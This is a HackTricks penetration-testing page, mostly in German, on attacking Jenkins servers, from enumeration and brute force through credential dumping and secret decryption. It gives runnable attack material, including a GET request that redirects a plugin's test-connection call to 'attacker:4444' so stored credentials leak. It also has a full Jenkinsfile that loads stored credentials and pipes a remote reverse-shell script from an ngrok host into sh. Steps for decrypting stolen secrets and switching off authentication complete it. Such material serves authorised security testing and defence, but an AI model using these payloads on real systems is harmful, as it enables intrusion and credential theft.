Jenkins Sicherheit

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Jenkins ist ein Tool, das eine einfache Möglichkeit bietet, eine kontinuierliche Integration oder kontinuierliche Lieferung (CI/CD) Umgebung für nahezu jede Kombination von Programmiersprachen und Quellcode-Repositories unter Verwendung von Pipelines einzurichten. Außerdem automatisiert es verschiedene Routine-Entwicklungsaufgaben. Obwohl Jenkins nicht die Notwendigkeit, für einzelne Schritte Skripte zu erstellen, eliminiert, bietet es einen schnelleren und robusteren Weg, die gesamte Abfolge von Build-, Test- und Deployment-Tools zu integrieren, als man sie leicht manuell erstellen könnte.

Basic Jenkins Information

Unauthenticated Enumeration

In order to search for interesting Jenkins pages without authentication like (/people or /asynchPeople, this lists the current users) you can use:

msf> use auxiliary/scanner/http/jenkins_enum

Überprüfe, ob du Befehle ohne Authentifizierung ausführen kannst:

msf> use auxiliary/scanner/http/jenkins_command

Ohne credentials kannst du im Pfad /asynchPeople/ oder /securityRealm/user/admin/search/index?q= nach usernames suchen.

Möglicherweise kannst du die Jenkins-Version aus dem Pfad /oops oder /error ermitteln.

Bekannte Schwachstellen

GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers

Login

In den basic information kannst du alle Möglichkeiten prüfen, dich in Jenkins einzuloggen:

Basic Jenkins Information

Registrierung

Du wirst Jenkins-Instanzen finden, die es dir erlauben, einen Account zu erstellen und dich einzuloggen. So einfach ist das.

SSO Login

Wenn SSO functionality/plugins vorhanden sind, solltest du versuchen, dich mit einem Test-Account in die Anwendung einzuloggen (z. B. ein Test Github/Bitbucket account). Trick von hier.

Bruteforce

Jenkins hat keine password policy und keine username brute-force mitigation. Es ist essenziell, Benutzer zu brute-forcen, da weak passwords oder usernames as passwords verwendet werden können, sogar reversed usernames as passwords.

msf> use auxiliary/scanner/http/jenkins_login

Password spraying

Verwende this python script oder this powershell script.

IP Whitelisting Bypass

Viele Organisationen kombinieren SaaS-based source control management (SCM) systems wie GitHub oder GitLab mit einer internal, self-hosted CI-Lösung wie Jenkins oder TeamCity. Diese Konfiguration ermöglicht es CI-Systemen, receive webhook events from SaaS source control vendors, hauptsächlich um Pipeline-Jobs auszulösen.

Um dies zu ermöglichen, setzen Organisationen die whitelist der IP ranges der SCM platforms, wodurch diesen der Zugriff auf das internal CI system via webhooks gestattet wird. Es ist jedoch wichtig zu beachten, dass anyone ein account auf GitHub oder GitLab erstellen und so konfigurieren kann, dass ein trigger a webhook ausgelöst wird, was potenziell Anfragen an das internal CI system senden kann.

Siehe: https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/

Interne Jenkins-Missbräuche

In diesen Szenarien gehen wir davon aus, dass du ein gültiges Konto hast, um auf Jenkins zuzugreifen.

Warning

Je nach dem in Jenkins konfigurierten Authorization-Mechanismus und den Berechtigungen des kompromittierten Users kannst du die folgenden Angriffe möglicherweise durchführen oder nicht.

Für weitere Informationen siehe die Basisinformationen:

Basic Jenkins Information

Listing users

Wenn du Zugriff auf Jenkins hast, kannst du andere registrierte Benutzer unter http://127.0.0.1:8080/asynchPeople/ auflisten.

Dumps von Builds, um cleartext secrets zu finden

Verwende this script, um Build-Konsolenausgaben und Build-Umgebungsvariablen zu dumpen, um hoffentlich cleartext secrets zu finden.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

FormValidation/TestConnection Endpunkte (CSRF to SSRF/credential theft)

Einige Plugins stellen Jelly validateButton- oder test connection-Handler unter Pfaden wie /descriptorByName/<Class>/testConnection bereit. Wenn Handler keine POST- oder Berechtigungsprüfungen erzwingen, können Sie:

  • POST zu GET wechseln und den Crumb weglassen, um CSRF-Prüfungen zu umgehen.
  • Den Handler als low-priv/anonymous auslösen, wenn keine Jenkins.ADMINISTER-Prüfung vorhanden ist.
  • Einen Admin per CSRF angreifen und den Host/URL-Parameter ersetzen, um credentials zu exfiltrieren oder ausgehende Aufrufe auszulösen.
  • Die Response-Fehler (z. B. ConnectException) als SSRF/Port-Scan-Oracle verwenden.

Beispiel GET (kein Crumb), das einen Validation-Call in SSRF/credential exfiltration verwandelt:

GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080

If the plugin reuses stored creds, Jenkins will attempt to authenticate to attacker:4444 and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/

Stealing SSH Credentials

Wenn der kompromittierte Benutzer genügend Berechtigungen hat, um einen neuen Jenkins Node zu erstellen/zu ändern und SSH credentials bereits gespeichert sind, um auf andere Nodes zuzugreifen, könnte er diese credentials stehlen, indem er einen Node erstellt/ändert und einen Host setzt, der die credentials aufzeichnet, ohne den Host-Key zu überprüfen:

You will usually find Jenkins ssh credentials in a global provider (/credentials/), so you can also dump them as you would dump any other secret. More information in the Dumping secrets section.

RCE in Jenkins

Eine Shell auf dem Jenkins-Server zu bekommen, gibt dem Angreifer die Möglichkeit, alle secrets und env variables zu leak und andere Maschinen im selben Netzwerk auszunutzen oder sogar cloud credentials zu sammeln.

By default, Jenkins will run as SYSTEM. So, compromising it will give the attacker SYSTEM privileges.

RCE Creating/Modifying a project

Das Erstellen/Ändern eines Projekts ist ein Weg, um RCE auf dem Jenkins-Server zu erlangen:

Jenkins RCE Creating/Modifying Project

RCE Execute Groovy script

Man kann RCE auch durch Ausführen eines Groovy-Skripts erhalten, was möglicherweise unauffälliger ist als das Erstellen eines neuen Projekts:

Jenkins RCE with Groovy Script

RCE Creating/Modifying Pipeline

Sie können auch RCE erhalten, indem Sie eine Pipeline erstellen/ändern:

Jenkins RCE Creating/Modifying Pipeline

Pipeline Exploitation

Um Pipelines auszunutzen, benötigt man weiterhin Zugriff auf Jenkins.

Build Pipelines

Pipelines können auch als Build-Mechanismus in Projekten verwendet werden; in diesem Fall kann eine Datei im Repository konfiguriert werden, die die Pipeline-Syntax enthält. Standardmäßig wird /Jenkinsfile verwendet:

It’s also possible to store pipeline configuration files in other places (in other repositories for example) with the goal of separating the repository access and the pipeline access.

Wenn ein Angreifer Schreibzugriff auf diese Datei hat, kann er sie ändern und möglicherweise die Pipeline auslösen, ohne überhaupt Zugriff auf Jenkins zu haben.
Es ist möglich, dass der Angreifer einige Branch-Protections umgehen muss (je nach Plattform und Benutzerrechten können diese umgangen werden oder nicht).

The most common triggers to execute a custom pipeline are:

  • Pull request to the main branch (or potentially to other branches)
  • Push to the main branch (or potentially to other branches)
  • Update the main branch and wait until it’s executed somehow

Note

If you are an external user you shouldn’t expect to create a PR to the main branch of the repo of other user/organization and trigger the pipeline… but if it’s bad configured you could fully compromise companies just by exploiting this.

Pipeline RCE

Im vorherigen RCE-Abschnitt wurde bereits eine Technik angegeben, um get RCE modifying a pipeline.

Überprüfen der Env variables

Es ist möglich, klartext env variables für die gesamte Pipeline oder für spezifische Stages zu deklarieren. Diese env variables sollten keine sensiblen Informationen enthalten, aber ein Angreifer könnte jederzeit alle Pipeline-Konfigurationen/Jenkinsfiles überprüfen:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Dumping secrets

Für Informationen darüber, wie secrets normalerweise von Jenkins behandelt werden, siehe die Basisinformationen:

Basic Jenkins Information

Credentials können globalen Providern (/credentials/) oder spezifischen Projekten (/job/<project-name>/configure) zugewiesen werden. Daher müssen Sie, um alle davon zu exfiltrate, mindestens alle Projekte kompromittieren, die secrets enthalten, und custom/poisoned pipelines ausführen.

Es gibt ein weiteres Problem: Um ein secret in die env einer Pipeline zu bekommen, müssen Sie den Namen und Typ des secret kennen. Beispielsweise: Wenn Sie versuchen, ein usernamePassword secret als string secret zu laden, erhalten Sie diesen Fehler:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Hier findest du die Vorgehensweise, um einige gängige secret types zu laden:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

Am Ende dieser Seite finden Sie alle Credential-Typen: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Warning

Der beste Weg, dump all the secrets at once, ist, die Jenkins-Maschine zu compromising (z. B. durch Ausführen einer reverse shell im built-in node) und anschließend die master keys und die encrypted secrets zu leaking und diese offline zu decrypten.
Mehr dazu in der Nodes & Agents section und in der Post Exploitation section.

Triggers

Aus the docs: Die triggers-Direktive definiert die automatisierten Wege, auf denen die Pipeline erneut ausgelöst werden soll. Für Pipelines, die mit einer Quelle wie GitHub oder BitBucket integriert sind, sind triggers möglicherweise nicht notwendig, da eine webhook-basierte Integration wahrscheinlich bereits vorhanden ist. Die derzeit verfügbaren triggers sind cron, pollSCM und upstream.

Cron-Beispiel:

triggers { cron('H */4 * * 1-5') }

Siehe weitere Beispiele in der Dokumentation.

Nodes & Agents

Eine Jenkins instance kann auf verschiedenen Maschinen verschiedene agents ausführen. Aus Sicht eines Angreifers bedeutet der Zugriff auf verschiedene Maschinen, dass es different potential cloud credentials zum Stehlen geben kann oder different network access, das missbraucht werden könnte, um andere Maschinen zu kompromittieren.

Für mehr Informationen siehe die Basisinformationen:

Basic Jenkins Information

Du kannst die configured nodes unter /computer/ aufzählen; normalerweise findest du den Built-In Node (den Node, auf dem Jenkins läuft) und möglicherweise weitere:

Es ist besonders interessant, den Built-In node zu kompromittieren, da er sensitive Jenkins-Informationen enthält.

Um anzugeben, dass du die pipeline im built-in Jenkins node run möchtest, kannst du innerhalb der pipeline die folgende Konfiguration angeben:

pipeline {
agent {label 'built-in'}

Komplettes Beispiel

Pipeline in einem spezifischen Agenten, mit einem cron trigger, mit pipeline- und stage env-Variablen, lädt 2 Variablen in einem Schritt und sendet eine reverse shell:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Arbitrary File Read to RCE

Jenkins Arbitrary File Read to RCE via “Remember Me”

RCE

Jenkins RCE with Groovy Script

Jenkins RCE Creating/Modifying Project

Jenkins RCE Creating/Modifying Pipeline

Post Exploitation

Metasploit

msf> post/multi/gather/jenkins_gather

Jenkins Secrets

Du kannst die secrets auflisten, indem du auf /credentials/ zugreifst, wenn du über ausreichende Berechtigungen verfügst. Beachte, dass dadurch nur die secrets innerhalb der credentials.xml aufgelistet werden; Build-Konfigurationsdateien können jedoch auch weitere credentials enthalten.

Wenn du die Konfiguration jedes Projekts sehen kannst, kannst du dort auch die Namen der credentials (secrets) sehen, die verwendet werden, um auf das Repository zuzugreifen, sowie andere credentials des Projekts.

Aus Groovy

Jenkins Dumping Secrets from Groovy

Von der Festplatte

Diese Dateien werden benötigt, um Jenkins secrets zu entschlüsseln:

  • secrets/master.key
  • secrets/hudson.util.Secret

Solche secrets befinden sich normalerweise in:

  • credentials.xml
  • jobs/…/build.xml
  • jobs/…/config.xml

Hier ist ein Regex, um sie zu finden:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Jenkins secrets offline entschlüsseln

Wenn Sie die benötigten Passwörter zum Entschlüsseln der secrets gedumpt haben, verwenden Sie dieses Skript um diese secrets zu entschlüsseln.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Decrypt Jenkins secrets mit Groovy

println(hudson.util.Secret.decrypt("{...}"))

Neuen Admin-Benutzer erstellen

  1. Greife auf die Jenkins config.xml-Datei in /var/lib/jenkins/config.xml oder C:\Program Files (x86)\Jenkis\ zu.
  2. Suche nach dem Wort <useSecurity>true</useSecurity> und ändere das Wort true zu false.
  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
  4. Starte den Jenkins-Server neu: service jenkins restart
  5. Gehe nun wieder zum Jenkins-Portal und Jenkins wird dieses Mal keine Anmeldeinformationen abfragen. Du navigierst zu “Manage Jenkins”, um das Administrator-Passwort erneut festzulegen.
  6. Aktiviere die Sicherheit wieder, indem du die Einstellung auf <useSecurity>true</useSecurity> änderst und starte Jenkins erneut.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks